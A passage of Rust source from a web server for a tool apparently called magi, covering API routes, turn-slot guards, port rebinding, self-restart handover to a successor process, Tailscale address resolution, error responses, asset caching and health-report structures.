860            .route("/api/talks/{id}/say", post(talk_say))
861            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
862            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
863            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
864            .route("/api/talks/{id}/close", post(talk_close))
865            .route("/api/talks/{id}/reopen", post(talk_reopen))
866            // `DefaultBodyLimit` is raised only on this one route - every
867            // other route on this server answers in a few kilobytes, and
868            // widening the crate-wide default for all of them just because
869            // one accepts a picture would let any other handler be handed
870            // a multi-megabyte body it never expects.
871            .route(
872                "/api/talks/{id}/attachments",
873                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
874            )
875            .route(
876                "/api/talks/{id}/attachments/{att}",
877                get(talk_attachment_get),
878            )
879            .route("/api/events", get(events))
880            .with_state(Arc::new(self))
881    }
882}
883
884/// One talk's turn slot, released on drop.
885///
886/// A guard rather than a matching `remove` at the end of the handler, because
887/// the handler has several early returns and one `await` that can be cancelled
888/// out from under it. A leaked id is a talk nobody can talk to again.
889#[derive(Debug)]
890struct TalkTurnGuard {
891    talk: String,
892    turns: Arc<Mutex<TalkTurns>>,
893    released: bool,
894}
895
896/// In-memory turn ownership plus the queue generation observed by a drainer.
897///
898/// The generation changes only after a durable queued draft is written and its
899/// caller finds the turn busy. That lets the loop run filesystem work outside
900/// this mutex while still making the final empty-check/release atomic with a
901/// concurrent queue handoff.
902#[derive(Debug, Default)]
903struct TalkTurns {
904    live: HashSet<String>,
905    queued: HashMap<String, u64>,
906}
907
908/// The atomic initial-state decision made by
909/// [`Ui::begin_talk_turn_unless_pending`].
910enum TalkTurnStart {
911    Claimed(TalkTurnGuard),
912    Busy,
913    Pending,
914}
915
916impl TalkTurnGuard {
917    /// Release while the caller already holds the claim mutex, closing the
918    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
919    fn release(mut self, live: &mut TalkTurns) {
920        live.live.remove(&self.talk);
921        live.queued.remove(&self.talk);
922        self.released = true;
923    }
924}
925
926impl Drop for TalkTurnGuard {
927    fn drop(&mut self) {
928        if self.released {
929            return;
930        }
931        if let Ok(mut live) = self.turns.lock() {
932            live.live.remove(&self.talk);
933            live.queued.remove(&self.talk);
934        }
935    }
936}
937
938/// Releases a resume claim, so a run is resumable again after the attempt.
939struct ResumeGuard {
940    run: String,
941    resuming: Arc<Mutex<HashSet<String>>>,
942}
943
944impl Drop for ResumeGuard {
945    fn drop(&mut self) {
946        if let Ok(mut live) = self.resuming.lock() {
947            live.remove(&self.run);
948        }
949    }
950}
951
952/// Bind the port, waiting briefly for a predecessor to let go of it.
953///
954/// A restart hands the address from one process to the next, and the old one
955/// holds its listener until it unwinds. A single `bind` can lose that race,
956/// and for a restart triggered from a phone that means the deck never comes
957/// back with no terminal around to say why.
958///
959/// Bounded, and only for the one error a wait can fix: anything else fails at
960/// once, because retrying it would turn a clear message into a silence.
961async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
962    const WINDOW: Duration = Duration::from_secs(10);
963    const GAP: Duration = Duration::from_millis(250);
964
965    let deadline = std::time::Instant::now() + WINDOW;
966    let mut said = false;
967    loop {
968        match tokio::net::TcpListener::bind(socket).await {
969            Ok(listener) => return Ok(listener),
970            Err(e)
971                if e.kind() == std::io::ErrorKind::AddrInUse
972                    && std::time::Instant::now() < deadline =>
973            {
974                if !said {
975                    said = true;
976                    tracing::info!(
977                        "{socket} is still held - waiting up to {}s for it, \
978                         which is what a restart looks like from here",
979                        WINDOW.as_secs()
980                    );
981                }
982                tokio::time::sleep(GAP).await;
983            }
984            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
985        }
986    }
987}
988
989/// Signalled when an upgrade has replaced the binary and the successor should
990/// take this address over. One per process: there is one address to hand on.
991static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
992
993/// Set to `1` on the successor when the loop was running at handover.
994const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
995
996/// Whether the environment value asks for the loop to be resumed.
997fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
998    value.is_some_and(|v| v == "1")
999}
1000
1001/// Start this binary again with the same arguments, detached.
1002///
1003/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1004/// so the address is already free when the successor binds it. The first
1005/// attempt at this spawned the successor two hundred milliseconds before
1006/// exiting instead, and the released binary - which has no bind retry - died
1007/// on "address already in use" with its stdio sent to null, so the deck
1008/// simply never came back.
1009///
1010/// Detached and without inherited stdio: the successor has to outlive this
1011/// process, and must not hold open a pipe a terminal is waiting on.
1012///
1013/// `resume` tells the successor to start the queue loop, through
1014/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1015/// process inherited from its own predecessor cannot leak into a generation
1016/// that should not resume. The successor's own environment keeps the variable
1017/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1018fn spawn_successor(resume: bool) -> Result<()> {
1019    let exe = std::env::current_exe().context("find this binary")?;
1020    let args: Vec<String> = std::env::args().skip(1).collect();
1021    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1022
1023    let mut cmd = std::process::Command::new(&exe);
1024    if resume {
1025        cmd.env(RESUME_LOOP_ENV, "1");
1026    } else {
1027        cmd.env_remove(RESUME_LOOP_ENV);
1028    }
1029    cmd.args(&args)
1030        .stdin(std::process::Stdio::null())
1031        .stdout(std::process::Stdio::null())
1032        .stderr(std::process::Stdio::null());
1033    #[cfg(windows)]
1034    {
1035        use std::os::windows::process::CommandExt as _;
1036        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1037        // and Ctrl-C in the old terminal must not reach the successor.
1038        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1039    }
1040    cmd.spawn().context("start the successor")?;
1041    Ok(())
1042}
1043
1044/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1045///
1046/// The server itself owns no state, so nothing here is graceful for the HTTP
1047/// side's sake: the connections go with the dropped listener, which costs a
1048/// phone one change-stream reconnection it was going to make anyway.
1049///
1050/// The signal branch is not optional now that the loop lives in this process.
1051/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1052/// handler is what stops the signal terminating the process - so without a
1053/// branch of our own, the first Ctrl-C after the operator started the loop
1054/// would stop the loop and leave `magi web` listening forever, unkillable
1055/// from the terminal it was started in.
1056///
1057/// What it waits for is the loop, not the sockets. A run in flight is
1058/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1059/// mid-node leaves worktrees, branches and agent sessions behind and throws
1060/// away every agent call already paid for.
1061///
1062/// The server therefore runs on a task of its own rather than inside the
1063/// `select!`: an arm that resolves *drops* the futures the other arms were
1064/// polling, so serving the address from inside one would take the deck down
1065/// at the instant the handover began and keep it down for the whole park -
1066/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1067/// owns the order.
1068pub async fn serve(opts: Opts) -> Result<()> {
1069    let (addr, warning) = resolve_bind(&opts.bind);
1070    if let Some(warning) = warning {
1071        tracing::warn!("{warning}");
1072    }
1073
1074    // Process-global, and therefore set exactly once, here: the report route
1075    // must never emit escape sequences into a browser, and toggling the flag
1076    // per request would race with a concurrent request rendering its own
1077    // report. Startup is the only moment at which no request can observe the
1078    // change. Nothing in the server turns colour back on.
1079    report::set_color(false);
1080
1081    let repo = normalize_default_repo(opts.repo).await;
1082    let ui = Ui::open(repo).with_merge(opts.merge);
1083    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1084    // home to bracket the parking and restarting stages, and `run_update_recheck`
1085    // needs both it and the repo, and by then there is no `ui` left to read
1086    // them from.
1087    let home = ui.home.clone();
1088    let repo = ui.repo.clone();
1089    // Settles a progress record a predecessor left non-terminal - either this
1090    // *is* the successor `spawn_successor` started, or the previous process
1091    // died mid-handover. Before the router starts answering, so the very
1092    // first `/api/health` a phone gets from this process already reflects it.
1093    updater::reconcile_after_restart(&home);
1094    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1095    // `spawn_update_check` does at startup only ever runs once: after that,
1096    // `/api/health`'s `update` field - and the phone's "Update & restart"
1097    // button, which reads the very same cache - would stay frozen on
1098    // whatever that single check found, no matter how many releases ship
1099    // afterwards. This keeps it current instead. Detached: it must keep
1100    // going for as long as this process serves, `serve` has nothing to await
1101    // it for, and it exits on its own the moment the process does.
1102    tokio::spawn(run_update_recheck(repo, home.clone()));
1103    let looping = ui.looping();
1104    let socket = SocketAddr::new(addr, opts.port);
1105    let listener = bind_waiting(socket).await?;
1106    let url = format!("http://{addr}:{}", opts.port);
1107    tracing::info!(
1108        "magi web UI on {url} - there is no authentication, so anyone who can \
1109         reach this address can file and hold tasks: the tailnet is the \
1110         security boundary"
1111    );
1112    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1113        tracing::info!("resumed the loop the predecessor was running");
1114    } else {
1115        tracing::info!(
1116            "the queue loop is not running yet - start it from the UI, which is \
1117             the whole reason this process can: nothing in the queue moves until \
1118             something is running the loop"
1119        );
1120    }
1121    if opts.open {
1122        // The URL alone on stdout, for a caller that wants to open it. magi
1123        // does not spawn a browser: on the machine this usually runs on there
1124        // is no display, and a failed launch would be the only output.
1125        println!("{url}");
1126    }
1127
1128    // On its own task, so nothing this function awaits can stop the address
1129    // being answered. `hand_over` is where it is given up.
1130    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1131    let interrupted = async {
1132        if tokio::signal::ctrl_c().await.is_err() {
1133            // No handler on this platform, so there is no signal to act on.
1134            // Never resolving is the safe answer: a failed registration must
1135            // not masquerade as the operator asking for a shutdown and take
1136            // the UI down on startup.
1137            std::future::pending::<()>().await;
1138        }
1139    };
1140    let handover = HANDOVER.notified();
1141    tokio::select! {
1142        joined = &mut served => match joined {
1143            Ok(outcome) => outcome.context("serve the web UI"),
1144            Err(e) => Err(e).context("the task serving the web UI ended"),
1145        },
1146        () = interrupted => {
1147            tracing::info!("shutting down the web UI");
1148            finish_loop(&looping).await;
1149            Ok(())
1150        }
1151        () = handover => {
1152            tracing::info!("upgraded - handing this address to the successor");
1153            hand_over(&home, &looping, served, spawn_successor).await
1154        }
1155    }
1156}
1157
1158/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1159/// process's own working directory is not a git checkout at all - the
1160/// checkout [`repos::discover_verified`] finds instead.
1161///
1162/// Only the unmodified default is ever replaced: an operator who named a
1163/// directory outright, git checkout or not, gets exactly that directory
1164/// back, and the same story downstream (a talk whose briefing embeds a
1165/// non-git directory, and an agent that has to ask the operator where the
1166/// real repository is) that has always told them so - substituting a guess
1167/// for an explicit answer would be a second, silent opinion about what they
1168/// meant. There is no instruction or task text yet to match against this
1169/// early, so only [`repos::discover_verified`]'s own-repository tier can
1170/// ever settle this - the hint tier never fires here.
1171///
1172/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1173/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1174/// or a git installation that is broken in exactly the way that made the
1175/// original `canonical` check above fail too - so it is re-checked with
1176/// `git::toplevel` before it is ever used in place of the operator's own
1177/// directory.
1178async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1179    if repo != FsPath::new(".") {
1180        return repo;
1181    }
1182    let Ok(canonical) = repo.canonicalize() else {
1183        return repo;
1184    };
1185    if git::toplevel(&canonical).await.is_ok() {
1186        return repo;
1187    }
1188    let Some(home) = dirs::home_dir() else {
1189        return repo;
1190    };
1191    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1192        Some(found) => {
1193            tracing::info!(
1194                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1195                canonical.display(),
1196                found.path.display(),
1197                found.reason,
1198            );
1199            found.path
1200        }
1201        None => repo,
1202    }
1203}
1204
1205/// Park the loop, then release the address, then start the successor.
1206///
1207/// The order is the whole function, and each step is answerable to a failure
1208/// this arrangement has already had:
1209///
1210/// 1. **Park.** The loop was asked to stop by the request that replaced the
1211///    binary, and this waits for it, because killing the graph mid-node
1212///    leaves worktrees, branches and agent sessions behind and throws away
1213///    every agent call already paid for. It takes as long as the node in
1214///    flight - up to `timeout_implement`, an hour by default - and the deck
1215///    goes on answering for all of it, which is the reason `served` is a task
1216///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1217///    first upgrade from a phone that caught a run mid-implement dropped the
1218///    listener the moment it was asked to, and the operator got
1219///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1220///    waiting on and nothing but a process list to say the run was alive.
1221/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1222///    the join resolves only once the task's future has been dropped, so the
1223///    listener is released before the next line. Connections it already
1224///    accepted are served on tasks of their own and wind down asynchronously;
1225///    on some platforms (macOS) they can briefly keep the address busy, and
1226///    the successor's `bind_waiting` absorbs that.
1227/// 3. **Start the successor**, which binds the address this process has just
1228///    let go of - see [`spawn_successor`] for what the other order cost.
1229///
1230/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1231/// reporting, not part of the design: it exists so `/api/health` can say
1232/// "parking, waiting on run X" instead of leaving the phone to guess why the
1233/// deck went quiet, and dropping it would not change the order above.
1234async fn hand_over(
1235    home: &FsPath,
1236    looping: &Mutex<LoopState>,
1237    served: tokio::task::JoinHandle<std::io::Result<()>>,
1238    successor: impl FnOnce(bool) -> Result<()>,
1239) -> Result<()> {
1240    if let Some(mut progress) = updater::read_progress(home) {
1241        progress.advance(updater::Stage::Parking);
1242        let _ = updater::write_progress(home, &progress);
1243    }
1244    finish_loop(looping).await;
1245    served.abort();
1246    let _ = served.await;
1247    // Read last: the deck answers for the whole park, so an operator's stop
1248    // during the wait must still be honoured by the successor.
1249    let resume = lock_or_recover(looping).resume_after_handover;
1250    if let Some(mut progress) = updater::read_progress(home) {
1251        progress.advance(updater::Stage::Restarting);
1252        let _ = updater::write_progress(home, &progress);
1253    }
1254    successor(resume)
1255}
1256
1257/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1258///
1259/// The wait is the whole function. Returning from `serve` while a graph is
1260/// mid-node ends the process with worktrees, branches and agent sessions left
1261/// behind and every agent call in that run paid for and thrown away, which is
1262/// exactly what the daemon's own shutdown refuses to do.
1263async fn finish_loop(state: &Mutex<LoopState>) {
1264    let live = lock_or_recover(state).live.take();
1265    let Some(live) = live else { return };
1266    live.stop.stop();
1267    lock_or_recover(state).rev += 1;
1268    tracing::info!("waiting for the loop to finish the run in flight");
1269    // The task records its own outcome and logs it, so there is nothing to do
1270    // with a join error here but stop waiting.
1271    let _ = live.handle.await;
1272}
1273
1274/// Resolve `--bind` to an address, plus a warning when the answer is not what
1275/// the operator asked for.
1276///
1277/// Split out from [`serve`] because the interesting half - deciding whether
1278/// Tailscale gave us something usable - is testable without opening a socket.
1279pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1280    match bind {
1281        Bind::Addr(addr) => (*addr, None),
1282        Bind::Auto => match tailscale_ip() {
1283            Ok(ip) => (IpAddr::V4(ip), None),
1284            Err(why) => (
1285                IpAddr::V4(Ipv4Addr::LOCALHOST),
1286                Some(format!(
1287                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1288                     local-only and a phone cannot reach it; start Tailscale \
1289                     or pass --bind <addr>"
1290                )),
1291            ),
1292        },
1293    }
1294}
1295
1296/// This machine's Tailscale IPv4, or why there is not one.
1297///
1298/// `tailscale ip -4` is a local call against the running daemon and returns in
1299/// milliseconds, so it is fine to make it synchronously before the server
1300/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1301/// CGNAT block Tailscale assigns from, and anything else on that output would
1302/// be a different tool answering.
1303fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1304    let out = std::process::Command::new("tailscale")
1305        .args(["ip", "-4"])
1306        .quiet()
1307        .output()
1308        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1309    if !out.status.success() {
1310        let why = String::from_utf8_lossy(&out.stderr);
1311        let why = why.trim();
1312        return Err(format!(
1313            "`tailscale ip -4` failed ({}){}",
1314            out.status,
1315            if why.is_empty() {
1316                String::new()
1317            } else {
1318                format!(": {why}")
1319            }
1320        ));
1321    }
1322    String::from_utf8_lossy(&out.stdout)
1323        .lines()
1324        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1325        .find(is_tailnet)
1326        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1327}
1328
1329/// Is this address in the CGNAT block Tailscale hands out from?
1330fn is_tailnet(ip: &Ipv4Addr) -> bool {
1331    let o = ip.octets();
1332    o[0] == 100 && (64..=127).contains(&o[1])
1333}
1334
1335/// What every handler returns. Spelled out because `Result` in this crate is
1336/// `anyhow::Result`, and a handler's error is a status code as much as a
1337/// message.
1338type ApiResult<T> = std::result::Result<T, ApiError>;
1339
1340/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1341#[derive(Debug)]
1342struct ApiError {
1343    status: StatusCode,
1344    message: String,
1345}
1346
1347impl ApiError {
1348    /// The client asked for something malformed.
1349    fn bad_request(message: impl Into<String>) -> Self {
1350        Self {
1351            status: StatusCode::BAD_REQUEST,
1352            message: message.into(),
1353        }
1354    }
1355
1356    /// No such run or task.
1357    fn not_found(message: impl Into<String>) -> Self {
1358        Self {
1359            status: StatusCode::NOT_FOUND,
1360            message: message.into(),
1361        }
1362    }
1363
1364    /// Someone else owns the thing the client wants to change.
1365    /// Re-badge an error whose default mapping is wrong for this route.
1366    fn with_status(mut self, status: StatusCode) -> Self {
1367        self.status = status;
1368        self
1369    }
1370
1371    /// A rules violation from a domain type, reported as the caller's fault.
1372    /// `Question::answer` rejects an unoffered choice, and that is a bad
1373    /// request, not a server error.
1374    fn bad_request_from(e: anyhow::Error) -> Self {
1375        Self::bad_request(format!("{e:#}"))
1376    }
1377
1378    fn conflict(message: impl Into<String>) -> Self {
1379        Self {
1380            status: StatusCode::CONFLICT,
1381            message: message.into(),
1382        }
1383    }
1384
1385    /// Our fault, or the disk's.
1386    fn internal(message: impl Into<String>) -> Self {
1387        Self {
1388            status: StatusCode::INTERNAL_SERVER_ERROR,
1389            message: message.into(),
1390        }
1391    }
1392}
1393
1394impl From<anyhow::Error> for ApiError {
1395    /// Errors from `queue` and `run` carry their context chain, and the whole
1396    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1397    /// value at line 3" is a message an operator can act on, and there is no
1398    /// secret in a path on a single-user tailnet.
1399    fn from(e: anyhow::Error) -> Self {
1400        Self::internal(format!("{e:#}"))
1401    }
1402}
1403
1404impl IntoResponse for ApiError {
1405    fn into_response(self) -> Response {
1406        let body = serde_json::json!({ "error": self.message });
1407        (self.status, Json(body)).into_response()
1408    }
1409}
1410
1411/// Run a handler's filesystem work off the executor.
1412///
1413/// Every route that touches the disk goes through here rather than each one
1414/// arguing about whether its own read is small enough. Uniform because the
1415/// expensive case is not rare: `run.json` for a finished competition holds
1416/// every judgement, deliberation turn and review round, so listing a few
1417/// hundred runs is megabytes of parsing, and the executor threads doing it are
1418/// the same ones serving the change stream of every other connected phone.
1419async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1420where
1421    T: Send + 'static,
1422{
1423    match tokio::task::spawn_blocking(job).await {
1424        Ok(result) => result,
1425        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1426    }
1427}
1428
1429/// Cache policy for the three compiled-in front-end files.
1430///
1431/// The whole interface is `include_str!`ed into the binary, so its content
1432/// changes only when the binary does - and a phone that keeps a copy is
1433/// welcome to, right up until the deck is replaced. Without a single cache
1434/// header, browsers were free to invent their own policy, and one did:
1435/// yukimemi's phone went on showing "Candidates must be folded before
1436/// deleting. Run `magi fold` first." - a sentence deleted two releases
1437/// earlier - from a run detail served by a deck that no longer contained it.
1438/// The delete button he was told about was right there, and unreachable.
1439///
1440/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1441/// every time, the answer is a 304 costing one small round trip while the
1442/// deck is unchanged, and the moment it is replaced the tag differs and the
1443/// new interface arrives. Correctness over bytes - this is one file of a few
1444/// tens of kilobytes on a tailnet, and being a version behind is not a
1445/// cosmetic problem when the difference is whether a button exists.
1446const ASSET_CACHE: &str = "no-cache, must-revalidate";
1447
1448/// `ETag` for the compiled-in assets, distinct per build.
1449///
1450/// The version alone would leave a locally built deck - `cargo install
1451/// --path .` twice at the same version, which is the normal way to iterate -
1452/// serving a stale tag for changed bytes. The build timestamp is what makes
1453/// two builds of `0.3.0` differ.
1454fn asset_etag() -> &'static str {
1455    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1456        format!(
1457            "\"{}-{}\"",
1458            env!("CARGO_PKG_VERSION"),
1459            // Length is a cheap, deterministic stand-in for a hash: the
1460            // three files are compiled in together, so any edit to any of
1461            // them almost certainly changes the total, and a rebuild is what
1462            // this needs to track rather than every possible byte pattern.
1463            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1464        )
1465    });
1466    &TAG
1467}
1468
1469/// Headers for a compiled-in asset of `mime`.
1470fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1471    [
1472        (header::CONTENT_TYPE, mime),
1473        (header::CACHE_CONTROL, ASSET_CACHE),
1474        (header::ETAG, asset_etag()),
1475    ]
1476}
1477
1478/// Serve a compiled-in asset, answering `304` when the client already has it.
1479///
1480/// axum does not compare `If-None-Match` for us, and a header the server sets
1481/// but never honours is worse than none: the phone revalidates on every load
1482/// and is handed the whole file back each time. Doing the comparison is what
1483/// makes `must-revalidate` cost one small round trip rather than the
1484/// interface.
1485fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1486    let tag = asset_etag();
1487    let known = headers
1488        .get(header::IF_NONE_MATCH)
1489        .and_then(|v| v.to_str().ok())
1490        // A revalidating client may send several, and a proxy may weaken the
1491        // tag to `W/"..."`; matching on containment covers both without
1492        // parsing the grammar.
1493        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1494    if known {
1495        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1496    }
1497    (asset_headers(mime), body).into_response()
1498}
1499
1500async fn index(headers: header::HeaderMap) -> Response {
1501    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1502}
1503
1504async fn app_css(headers: header::HeaderMap) -> Response {
1505    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1506}
1507
1508async fn app_js(headers: header::HeaderMap) -> Response {
1509    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1510}
1511
1512/// What `/api/health` answers.
1513#[derive(Debug, Serialize)]
1514struct HealthView {
1515    version: &'static str,
1516    home: String,
1517    queue_rev: u64,
1518    runs_rev: u64,
1519    /// The same revisions [`events`] streams for the question and talk
1520    /// stores.
1521    ///
1522    /// Here because this route is what the front end falls back to when the
1523    /// change stream is not up - it re-polls health on a timer and on wake, and
1524    /// takes the revisions from the answer. Without these the fallback
1525    /// compares `undefined` against `undefined` for both stores, decides
1526    /// nothing moved, and a phone with a dead stream never learns that a
1527    /// question was asked or that a talk took a turn. `queue_rev` and
1528    /// `runs_rev` above have always been here for exactly this reason; the rule
1529    /// is that every revision the stream carries, this route carries too.
1530    questions_rev: u64,
1531    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1532    talks_rev: u64,
1533    /// See [`HealthView::questions_rev`]. The notification centre's store.
1534    notifications_rev: u64,
1535    /// Notifications nobody has read yet: the bell's badge before
1536    /// `/api/notifications` has answered.
1537    notifications_unread: usize,
1538    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1539    /// is not on disk anywhere, so a phone with no change stream has no other
1540    /// way to notice that the loop it is waiting on was started from another
1541    /// device.
1542    loop_rev: u64,
1543    /// Runs on disk whose state this build cannot parse - almost always a
1544    /// schema bump, occasionally a run killed mid-write.
1545    ///
1546    /// Reported because the list silently skips them, and "no competitions
1547    /// yet" is a lie when six of them are sitting in the runs directory. The
1548    /// terminal deck learned the same lesson: a run that fails to parse must
1549    /// not disappear from the count.
1550    runs_unreadable: usize,
1551    /// The disk, and what the runs and their worktrees occupy on it.
1552    ///
1553    /// This is the incident the janitor exists for: magi alone put 30 GB into
1554    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1555    /// is exactly where the operator learns "the disk is the constraint" -
1556    /// the diagnosis that a run is being held for want of space has to be
1557    /// checkable on the same screen.
1558    disk: DiskView,
1559    /// Questions nobody has answered yet, including ones an owner talked
1560    /// back on and is now waiting for the agent's reply to. A round trip
1561    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1562    /// while the ball is in the agent's court - see
1563    /// [`crate::ask::Questions::count_open`].
1564    questions_open: usize,
1565    /// Of those, how many actually need the owner right now: open, and not
1566    /// [`crate::ask::Question::waiting_on_agent`].
1567    ///
1568    /// The one number that means "nothing will happen until a human acts" -
1569    /// a parked run consumes nothing and progresses never - and the count the
1570    /// ask bar, the nav badge and the document title fall back to before
1571    /// `/api/questions` has answered, so those notification channels clear
1572    /// the instant the owner asks back and reappear the instant the agent
1573    /// replies, instead of sitting lit for however long the agent thinks.
1574    questions_needs_owner: usize,
1575    daemon: DaemonView,
1576    /// The loop in this process, exactly what `/api/loop` answers with.
1577    ///
1578    /// Here so a phone that has just woken needs one request to know whether
1579    /// anything is going to happen at all: `daemon` says a loop is alive
1580    /// somewhere, and this says whether it is one this UI can stop.
1581    #[serde(rename = "loop")]
1582    looping: LoopView,
1583    /// Whether a release newer than this build is known, and which.
1584    ///
1585    /// From [`updater::Checker::cached_update`] - the same throttled state the
1586    /// CLI's `notify` mode banners from - never a live check: this route is
1587    /// polled every few seconds, and a live check on each poll would spend
1588    /// GitHub's rate limit before the operator finished reading the strip.
1589    update: UpdateView,
1590    /// The self-upgrade this deck last set in motion, or `null` before the
1591    /// first one. Read off disk, so the successor can report what its
1592    /// predecessor started.
1593    upgrade: Option<UpgradeProgressView>,
1594}
1595
1596/// What `/api/health` knows about a release newer than this build.
1597///
1598/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1599/// is already the newest" from "never checked" - both are `None` - and the
1600/// phone needs to tell those apart to decide whether the deck can be trusted
1601/// to have an opinion at all.
1602#[derive(Debug, Serialize)]
1603struct UpdateView {
1604    /// A newer release is known to exist.
1605    available: bool,
1606    /// Its tag, when `available`.
1607    to: Option<String>,
1608}
1609
1610/// [`updater::Progress`] as `/api/health` reports it.
1611#[derive(Debug, Serialize)]
1612struct UpgradeProgressView {
1613    stage: updater::Stage,
1614    from: String,
1615    to: Option<String>,
1616    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1617    /// the step it is finishing before the address is handed over.
1618    waiting_on: Option<String>,
1619    started_at: Timestamp,
1620    updated_at: Timestamp,
1621    detail: Option<String>,
1622}
1623
1624/// Whether [`run_update_recheck`] may act at all this tick.
1625///
1626/// The same two conditions [`updater::Checker::new`] and
1627/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1628/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1629/// GitHub from this process" - on a button press or on a timer alike.
1630fn should_spawn_recheck(cfg: &Update) -> bool {
1631    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1632}
1633
1634/// Whether this tick should actually reach the network, once checking itself
1635/// is allowed.
1636///
1637/// An upgrade already in flight must not be raced by a check that discovers
1638/// a *newer* release while one is still installing - a phone watching
1639/// `/api/health` would see the answer change out from under the upgrade it
1640/// already asked for. Past that, [`updater::Checker::should_check`] is the
1641/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1642/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1643/// polling period, is what keeps this task's network use to at most once per
1644/// `[update] interval` regardless of how often it wakes up.
1645fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1646    if progress.is_some_and(|p| !p.stage.terminal()) {
1647        return false;
1648    }
1649    checker.should_check()
1650}
1651
1652/// How long [`run_update_recheck`] sleeps before its next wake-up.
1653///
1654/// A fraction of the configured `[update] interval` rather than a fixed
1655/// number: a fixed sleep longer than a short custom interval would leave the
1656/// deck waiting on its own wake-up rather than on `should_check`, so an
1657/// operator who set `interval = "1m"` to make the UI catch up quickly would
1658/// not see that take effect until the next restart - exactly the bug this
1659/// task exists to fix, just moved one level down. Scaling with the interval
1660/// keeps the wake-up prompt relative to what was actually configured, while
1661/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1662/// still what caps the network calls themselves at one per interval,
1663/// regardless of how often this fires.
1664fn recheck_poll_period(cfg: &Update) -> Duration {
1665    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1666}
1667
1668/// Keep `/api/health`'s `update` field current for as long as `magi web`
1669/// stays up.
1670///
1671/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1672/// which is enough for every other command: they exit in seconds. `magi web`
1673/// can run for days, so a single startup check leaves the cache - and the
1674/// phone's "Update & restart" button, which reads it via
1675/// [`cached_update_view`] - frozen on whatever that one look found, however
1676/// many releases ship afterwards. This is what notices the rest of them,
1677/// re-reading the config each tick so a `magi.toml` edit while the server is
1678/// up takes effect without a restart, the same way every other route here
1679/// already does - both for whether checking is on at all and for how long
1680/// the next sleep should be.
1681///
1682/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1683/// "install"`: swapping the running binary out from under a task or a run
1684/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1685/// not as a side effect of a timer nobody asked to fire. This only ever
1686/// calls [`updater::Checker::newer_release`], which refreshes
1687/// `last_update_check.json` and nothing else - so under `mode = "install"`
